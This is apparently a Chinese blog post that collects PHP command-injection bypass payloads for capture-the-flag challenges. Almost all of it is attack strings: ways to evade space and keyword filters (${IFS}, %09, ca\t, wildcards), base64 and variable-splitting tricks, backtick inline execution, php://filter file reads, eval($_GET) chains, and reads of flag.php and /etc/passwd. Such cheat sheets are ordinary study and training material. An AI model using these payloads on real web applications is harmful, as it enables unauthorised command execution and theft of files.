php命令执行函数绕过

 

passthru("ls");
system("ls");
exec()
shell_exec()
`反引号

1.空格过滤绕过:

${IFS}$9
{IFS}
$IFS
${IFS}
 //$1改成$加其他数字貌似都行
IFS
< 
<> 
{cat,flag.php}  //用逗号实现了空格功能,需要用{}括起来
%20   (space)
%09   (tab)
X=$'cat\x09./flag.php';$X       (\x09表示tab,也可以用\x20)
echo$IFS`tac$IFS*`%0A


nl<fla''g.php||
nl<fla""g.php||

?c=grep${IFS}'fla'${IFS}fla??php
?c=c\p${IFS}fla?.php${IFS}3.txt
?c=mv${IFS}fla?.php${IFS}3.txt
?c=uniq${IFS}f???.php
?c=/bin/?at${IFS}f???????
cat命令所在的路径是在/bin/目录下,所以这里相当于直接调用了cat文件执行命令,这里的cat可以看作命令,也是一个文件,所以通配符可以用在这上面(一开始还傻傻的换成uniq看能不能用hhh)。
同理bin目录下还存在more,所以这里的cat我们换成more也可以读取flag。

?c=tac%09fla''g.php%0a
或
?c=tac%09fla?.php%0a
或
?c=tac<fla\g.php||
或
?c=nl<fla\g.php%26 只有一次机会

1.base64编码
?id=1;cat `echo 'ZmxhZy5waHA=' \ base64 -d`;

2.变量赋值绕过
?ip=1;a=fl;b=ag;cat $a$b.php
3.文件包含绕过
?c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-
encode/resource=flag.php

注意中英文括号区别
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

?c=eval($_GET[1]);&1=system('tac flag.php');
?c=include$_GET[1]?>&1=php://filter/convert.iconv.utf8.utf16/resource=flag.php
linux适用空格绕过:
<、<>、%20(space)、%09(tab)、$IFS$9、${IFS}、$IFS、{cat,/etc/passwd}
%0a(回车)

2.禁用cat方法

ps:有时会禁用cat:
解决方法是使用tac反向输出命令:
linux命令中可以加\,所以甚至可以ca\t /fl\ag

3.内联执行绕过

内联,就是将反引号内命令的输出作为输入执行。

?ip=127.0.0.1;cat$IFS$9`ls`

$IFS在Linux下表示为空格
$9是当前系统shell进程第九个参数持有者,始终为空字符串,$后可以接任意数字
这里$IFS$9或$IFS垂直,后面加个$与{}类似,起截断作用

常见url编码

%09 tab键(水平),
%0a 换行,
%0c 新的一页,
%0d return功能,
%0b tab键(垂直),
%a0 空格

 

posted @ 2025-01-13 19:05  柒夜sec  阅读(186)  评论(0)    收藏  举报